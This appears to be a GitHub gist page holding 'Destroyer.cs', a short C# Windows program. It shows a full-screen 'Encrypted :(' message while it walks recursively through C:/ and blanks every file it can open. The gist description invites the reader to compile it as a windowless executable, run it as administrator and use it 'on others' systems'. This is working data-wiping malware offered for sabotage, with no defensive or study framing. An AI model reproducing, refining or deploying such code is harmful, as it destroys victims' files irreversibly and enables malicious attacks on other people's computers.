Created
February 21, 2021 09:35
-
-
Save mtarek2005/9ab32fae3660cae4bf41327024d80cad to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.IO; | |
using System.ComponentModel; | |
using System.Drawing; | |
using System.Windows.Forms; | |
class g:Form{ | |
public Label button1; | |
g(){ | |
FormBorderStyle = FormBorderStyle.None; | |
WindowState = FormWindowState.Maximized; | |
button1 = new Label(); | |
button1.AutoSize = true; | |
button1.Location = new Point(0, 0); | |
button1.Text = "Encrypted :("; | |
button1.Font=new Font("Arial", 72); | |
this.Controls.Add(button1); | |
Enc("C:/"); | |
} | |
static void Main(){ | |
Application.EnableVisualStyles(); | |
Application.Run(new g()); | |
} | |
static void Enc(string p){ | |
if(Directory.Exists(p)){ | |
foreach(string f in Directory.GetFiles(p)){ | |
try{File.WriteAllText(f,"");}catch(Exception e){continue;} | |
} | |
foreach(string d in Directory.GetDirectories(p)){ | |
try{Enc(d);}catch(Exception e){continue;} | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Destroyer.cs
compile and destroy
DON'T use on ur own system
use on others' systems
Run As Administrator
compile as
winexe
Compiled exe: bb.exe